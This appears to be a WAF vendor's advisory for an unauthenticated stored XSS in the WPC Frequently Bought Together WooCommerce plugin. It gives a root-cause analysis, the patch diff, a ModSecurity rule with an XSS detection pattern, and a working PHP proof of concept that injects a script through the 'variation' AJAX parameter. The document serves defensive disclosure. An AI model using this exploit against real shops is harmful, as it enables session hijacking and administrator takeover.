Published : November 21, 2026

CVE-2026-133367: WPC Frequently Bought Together for WooCommerce <= 8.0.2 Unauthenticated Stored Cross-Site Scripting via 'variation' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 8.0.2
Patched Version 8.0.3
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133367: The WPC Frequently Bought Together for WooCommerce plugin (versions up to and including 8.0.2) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw lies in the handling of the ‘variation’ parameter within the woobt_add_all_to_cart AJAX action, which is accessible without authentication because the necessary nonce is exposed to all visitors via wp_localize_script. The CVSS score is 7.2 (High), and the weakness is classified as CWE-79.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the AJAX handler for adding multiple items to the cart. In class-woobt.php, the handler reads the ‘variation’ parameter from $_POST without validation (line 604 in the vulnerable version). This data is then used to construct cart item attributes, which are later rendered in the cart and order pages without proper escaping. The patch introduces helper methods sanitize_ids() and sanitize_variation() in class-helper.php to properly sanitize these inputs, and modifies the AJAX handler to validate the variation product before processing.

Exploitation: An unauthenticated attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action set to ‘woobt_add_all_to_cart’ and a malicious payload in the ‘variation’ parameter. Because the required nonce is publicly exposed, the attacker does not need any authentication. The payload, once stored in the cart session, will execute when a victim (such as an administrator) views the cart or order details page. A typical payload could be a JavaScript snippet that steals cookies or performs actions on behalf of the victim.

Patch Analysis: The patch addresses the vulnerability by introducing comprehensive sanitization. The sanitize_ids() method strips tags and removes control characters from product IDs. The sanitize_variation() method validates variation data against the actual parent product’s attributes, ensuring only legitimate values are accepted. The AJAX handler now verifies that the variation product exists, is published, and belongs to the correct parent before processing. Additionally, the patch escapes output in the cart items and ensures that variation attributes are properly sanitized using the new helper methods. These changes prevent malicious payloads from being stored and executed.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information (including authentication cookies), defacement of the site, or redirection to malicious domains. Because the vulnerability is unauthenticated and stored, it can be used to compromise administrator accounts, potentially leading to full site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-bought-together/includes/class-helper.php
+++ b/woo-bought-together/includes/class-helper.php
@@ -64,6 +64,128 @@
 			return $arr;
 		}

+		public static function sanitize_ids( $ids ) {
+			if ( ! is_scalar( $ids ) ) {
+				return '';
+			}
+
+			$ids = wp_strip_all_tags( (string) $ids );
+			$ids = preg_replace( '/[rnt]+/', '', $ids );
+
+			return trim( $ids );
+		}
+
+		public static function sanitize_variation( $variation, $variation_product = null ) {
+			if ( ! ( $variation_product instanceof WC_Product_Variation ) ) {
+				return [];
+			}
+
+			$variation_attributes = $variation_product->get_variation_attributes();
+
+			if ( empty( $variation_attributes ) || ! is_array( $variation_attributes ) ) {
+				return [];
+			}
+
+			if ( is_object( $variation ) ) {
+				$variation = (array) $variation;
+			}
+
+			$submitted = [];
+
+			if ( is_array( $variation ) ) {
+				foreach ( $variation as $key => $value ) {
+					if ( ! is_string( $key ) || ! is_scalar( $value ) || strpos( $key, 'attribute_' ) !== 0 ) {
+						continue;
+					}
+
+					$clean_value       = trim( preg_replace( '/[rnt]+/', ' ', wp_strip_all_tags( (string) $value ) ) );
+					$submitted[ $key ] = $clean_value;
+					$normalized_key    = 'attribute_' . sanitize_title( substr( $key, 10 ) );
+
+					if ( ! isset( $submitted[ $normalized_key ] ) ) {
+						$submitted[ $normalized_key ] = $clean_value;
+					}
+				}
+			}
+
+			$parent_product    = wc_get_product( $variation_product->get_parent_id() );
+			$parent_attributes = $parent_product ? $parent_product->get_attributes() : [];
+			$sanitized         = [];
+
+			foreach ( $variation_attributes as $attr_key => $attr_value ) {
+				if ( ! is_string( $attr_key ) || strpos( $attr_key, 'attribute_' ) !== 0 ) {
+					continue;
+				}
+
+				if ( '' !== $attr_value ) {
+					$sanitized[ $attr_key ] = (string) $attr_value;
+					continue;
+				}
+
+				$attr_slug      = substr( $attr_key, 10 );
+				$normalized_key = 'attribute_' . sanitize_title( $attr_slug );
+				$raw_value      = $submitted[ $attr_key ] ?? ( $submitted[ $normalized_key ] ?? '' );
+
+				if ( '' === $raw_value ) {
+					continue;
+				}
+
+				$matched_attr = null;
+
+				if ( isset( $parent_attributes[ $attr_slug ] ) ) {
+					$matched_attr = $parent_attributes[ $attr_slug ];
+				} else {
+					foreach ( $parent_attributes as $parent_attr ) {
+						if ( ( $parent_attr instanceof WC_Product_Attribute ) && sanitize_title( $parent_attr->get_name() ) === sanitize_title( $attr_slug ) ) {
+							$matched_attr = $parent_attr;
+							break;
+						}
+					}
+				}
+
+				if ( $matched_attr instanceof WC_Product_Attribute ) {
+					if ( $matched_attr->is_taxonomy() ) {
+						$valid_slugs = $matched_attr->get_slugs();
+
+						if ( empty( $valid_slugs ) && $parent_product && function_exists( 'wc_get_product_terms' ) ) {
+							$valid_slugs = wc_get_product_terms( $parent_product->get_id(), $matched_attr->get_name(), [ 'fields' => 'slugs' ] );
+						}
+
+						if ( in_array( $raw_value, $valid_slugs, true ) ) {
+							$sanitized[ $attr_key ] = $raw_value;
+						} else {
+							$slug_candidate = sanitize_title( $raw_value );
+
+							if ( in_array( $slug_candidate, $valid_slugs, true ) ) {
+								$sanitized[ $attr_key ] = $slug_candidate;
+							} else {
+								$decoded_candidate = sanitize_title( rawurldecode( $raw_value ) );
+
+								if ( in_array( $decoded_candidate, $valid_slugs, true ) ) {
+									$sanitized[ $attr_key ] = $decoded_candidate;
+								}
+							}
+						}
+					} else {
+						$valid_options = $matched_attr->get_options();
+
+						foreach ( $valid_options as $option ) {
+							$clean_option = trim( preg_replace( '/[rnt]+/', ' ', wp_strip_all_tags( (string) $option ) ) );
+
+							if ( $raw_value === $clean_option ) {
+								$sanitized[ $attr_key ] = $clean_option;
+								break;
+							}
+						}
+					}
+				} else {
+					$sanitized[ $attr_key ] = sanitize_text_field( $raw_value );
+				}
+			}
+
+			return $sanitized;
+		}
+
 		public static function generate_key() {
 			$key         = '';
 			$key_str     = apply_filters( 'woobt_key_characters', 'abcdefghijklmnopqrstuvwxyz0123456789' );
--- a/woo-bought-together/includes/class-woobt.php
+++ b/woo-bought-together/includes/class-woobt.php
@@ -327,9 +327,9 @@
             $custom_request = apply_filters( 'woobt_custom_request_data', 'data' );

             if ( isset( $_REQUEST['woobt_ids'] ) ) {
-                $ids = wp_unslash( $_REQUEST['woobt_ids'] ?? '' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+                $ids = WPCleverWoobt_Helper()->sanitize_ids( wp_unslash( $_REQUEST['woobt_ids'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
             } elseif ( isset( $_REQUEST[ $custom_request ]['woobt_ids'] ) ) {
-                $ids = wp_unslash( $_REQUEST[ $custom_request ]['woobt_ids'] ?? '' );
+                $ids = WPCleverWoobt_Helper()->sanitize_ids( wp_unslash( $_REQUEST[ $custom_request ]['woobt_ids'] ?? '' ) );
             } else {
                 $ids = '';
             }
@@ -452,10 +452,10 @@
             $custom_request = apply_filters( 'woobt_custom_request_data', 'data' );

             if ( isset( $_REQUEST['woobt_ids'] ) ) {
-                $ids = wp_unslash( $_REQUEST['woobt_ids'] ?? '' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+                $ids = WPCleverWoobt_Helper()->sanitize_ids( wp_unslash( $_REQUEST['woobt_ids'] ?? '' ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
                 unset( $_REQUEST['woobt_ids'] );
             } elseif ( isset( $_REQUEST[ $custom_request ]['woobt_ids'] ) ) {
-                $ids = wp_unslash( $_REQUEST[ $custom_request ]['woobt_ids'] ?? '' );
+                $ids = WPCleverWoobt_Helper()->sanitize_ids( wp_unslash( $_REQUEST[ $custom_request ]['woobt_ids'] ?? '' ) );
                 unset( $_REQUEST[ $custom_request ]['woobt_ids'] );
             } else {
                 $ids = '';
@@ -532,13 +532,15 @@

                 $item_qty          = apply_filters( 'woobt_item_qty', $item['qty'], $item, $product_id );
                 $item_price        = apply_filters( 'woobt_item_price', $item['price'], $item, $product_id );
-                $item_variation    = apply_filters( 'woobt_item_attrs', $item['attrs'], $item, $product_id );
+                $item_variation    = [];
                 $item_variation_id = 0;

                 if ( $item_product instanceof WC_Product_Variation ) {
                     // ensure we don't add a variation to the cart directly by variation ID
                     $item_variation_id = $item_id;
                     $item_id           = $item_product->get_parent_id();
+                    $item_variation    = apply_filters( 'woobt_item_attrs', $item['attrs'], $item, $product_id );
+                    $item_variation    = WPCleverWoobt_Helper()->sanitize_variation( $item_variation, $item_product );

                     if ( empty( $item_variation ) ) {
                         $item_variation = $item_product->get_variation_attributes();
@@ -602,26 +604,41 @@
                 return;
             }

-            $product_id     = apply_filters( 'woocommerce_add_to_cart_product_id', absint( wp_unslash( $_POST['product_id'] ?? '' ) ) );
-            $product        = wc_get_product( $product_id );
-            $product_status = get_post_status( $product_id );
-            $quantity       = empty( $_POST['quantity'] ) ? 1 : wc_stock_amount( wp_unslash( $_POST['quantity'] ?? '' ) );
-            $variation_id   = absint( wp_unslash( $_POST['variation_id'] ?? 0 ) );
-            $variation      = (array) ( wp_unslash( $_POST['variation'] ?? [] ) );
-
-            if ( $product && 'variation' === $product->get_type() ) {
-                $variation_id = $product_id;
-                $product_id   = $product->get_parent_id();
+            $product_id        = apply_filters( 'woocommerce_add_to_cart_product_id', absint( wp_unslash( $_POST['product_id'] ?? '' ) ) );
+            $product           = wc_get_product( $product_id );
+            $product_status    = get_post_status( $product_id );
+            $quantity          = empty( $_POST['quantity'] ) ? 1 : wc_stock_amount( wp_unslash( $_POST['quantity'] ?? '' ) );
+            $variation_id      = absint( wp_unslash( $_POST['variation_id'] ?? 0 ) );
+            $raw_variation     = isset( $_POST['variation'] ) && is_array( $_POST['variation'] ) ? wp_unslash( $_POST['variation'] ) : [];
+            $variation_product = null;
+
+            if ( $product instanceof WC_Product_Variation ) {
+                $variation_product = $product;
+                $variation_id      = $product_id;
+                $product_id        = $variation_product->get_parent_id();
+                $product           = wc_get_product( $product_id );
+                $product_status    = ( 'publish' === $variation_product->get_status() && 'publish' === get_post_status( $product_id ) ) ? 'publish' : '';
+            } elseif ( $product && $variation_id > 0 ) {
+                $maybe_variation = wc_get_product( $variation_id );

-                if ( empty( $variation ) ) {
-                    $variation = $product->get_variation_attributes();
+                if ( ( $maybe_variation instanceof WC_Product_Variation ) && ( (int) $maybe_variation->get_parent_id() === (int) $product_id ) && ( 'publish' === $maybe_variation->get_status() ) ) {
+                    $variation_product = $maybe_variation;
+                } else {
+                    $variation_id = 0;
                 }
             }

+            if ( $variation_product instanceof WC_Product_Variation ) {
+                $variation = WPCleverWoobt_Helper()->sanitize_variation( $raw_variation, $variation_product );
+            } else {
+                $variation_id = 0;
+                $variation    = [];
+            }
+
             $cart_item_data    = apply_filters( 'woobt_add_to_cart_data', [] );
             $passed_validation = apply_filters( 'woocommerce_add_to_cart_validation', true, $product_id, $quantity, $variation_id, $variation );

-            if ( $passed_validation && false !== WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation, $cart_item_data ) && 'publish' === $product_status ) {
+            if ( $product && 'publish' === $product_status && $passed_validation && false !== WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation, $cart_item_data ) ) {
                 do_action( 'woocommerce_ajax_added_to_cart', $product_id );

                 if ( 'yes' === get_option( 'woocommerce_cart_redirect_after_add' ) ) {
@@ -2162,7 +2179,7 @@
                             continue;
                         }

-                        $_item_key   = $_item_data[1] ?? WPCleverWoobt_Helper()->generate_key();
+                        $_item_key   = sanitize_text_field( $_item_data[1] ?? WPCleverWoobt_Helper()->generate_key() );
                         $_item_price = WPCleverWoobt_Helper()->get_setting( 'default_price', '100%' );

                         if ( str_contains( $_item_key, '-' ) ) {
@@ -2184,11 +2201,21 @@
                             }
                         }

+                        $_item_attrs = [];
+
+                        if ( ( $_item_product instanceof WC_Product_Variation ) && isset( $_item_data[3] ) && ( '' !== $_item_data[3] ) ) {
+                            $_decoded_attrs = json_decode( rawurldecode( $_item_data[3] ), true );
+
+                            if ( is_array( $_decoded_attrs ) ) {
+                                $_item_attrs = WPCleverWoobt_Helper()->sanitize_variation( $_decoded_attrs, $_item_product );
+                            }
+                        }
+
                         $items[ $_item_key ] = [
                                 'id'    => $_item_id,
                                 'price' => WPCleverWoobt_Helper()->format_price( $_item_price ),
                                 'qty'   => (float) ( $_item_data[2] ?? 1 ),
-                                'attrs' => isset( $_item_data[3] ) ? (array) json_decode( rawurldecode( $_item_data[3] ) ) : []
+                                'attrs' => $_item_attrs
                         ];
                     }
                 }
--- a/woo-bought-together/wpc-frequently-bought-together.php
+++ b/woo-bought-together/wpc-frequently-bought-together.php
@@ -8,17 +8,17 @@
 Text Domain: woo-bought-together
 Domain Path: /languages/
 Requires Plugins: woocommerce
-Version: 8.0.2
+Version: 8.0.3
 Requires at least: 5.9
 WC requires at least: 3.0
-WC tested up to: 11.2
+WC tested up to: 11.3
 License: GPLv2 or later
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

 defined( 'ABSPATH' ) || exit;

-! defined( 'WOOBT_VERSION' ) && define( 'WOOBT_VERSION', '8.0.2' );
+! defined( 'WOOBT_VERSION' ) && define( 'WOOBT_VERSION', '8.0.3' );
 ! defined( 'WOOBT_LITE' ) && define( 'WOOBT_LITE', __FILE__ );
 ! defined( 'WOOBT_FILE' ) && define( 'WOOBT_FILE', __FILE__ );
 ! defined( 'WOOBT_URI' ) && define( 'WOOBT_URI', plugin_dir_url( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133367
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261333,phase:2,deny,status:403,chain,msg:'CVE-2026-133367 via WPC Frequently Bought Together AJAX',severity:'CRITICAL',tag:'CVE-2026-133367'"
  SecRule ARGS_POST:action "@streq woobt_add_all_to_cart" "chain"
    SecRule ARGS_POST:variation "@rx <script|javascript:|onerror=|onload=|alert(" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133367 - WPC Frequently Bought Together for WooCommerce <= 8.0.2 - Unauthenticated Stored Cross-Site Scripting via 'variation' Parameter

$target_url = 'http://example.com'; // Change to your target WordPress site

// The AJAX action is 'woobt_add_all_to_cart'
// The nonce is not required because it's exposed to unauthenticated users

// Malicious payload: JavaScript to display an alert (for demonstration)
$payload = '<script>alert("XSS");</script>';

// The 'variation' parameter expects an array of attribute values
// We will inject the payload as a variation attribute value
$variation = array(
    'attribute_size' => $payload
);

// Additional required parameters for the AJAX request
$data = array(
    'action' => 'woobt_add_all_to_cart',
    'product_id' => '123', // Replace with a valid product ID (must be a variable product)
    'variation_id' => '456', // Replace with a valid variation ID
    'quantity' => '1',
    'variation' => $variation
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// If successful, the payload is stored in the cart session and will execute when a user views the cart.
// Note: The attacker may need to ensure the product and variation IDs are valid and that the variation has the attribute used for injection.
// The nonce is not required because it's available to unauthenticated users via wp_localize_script.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.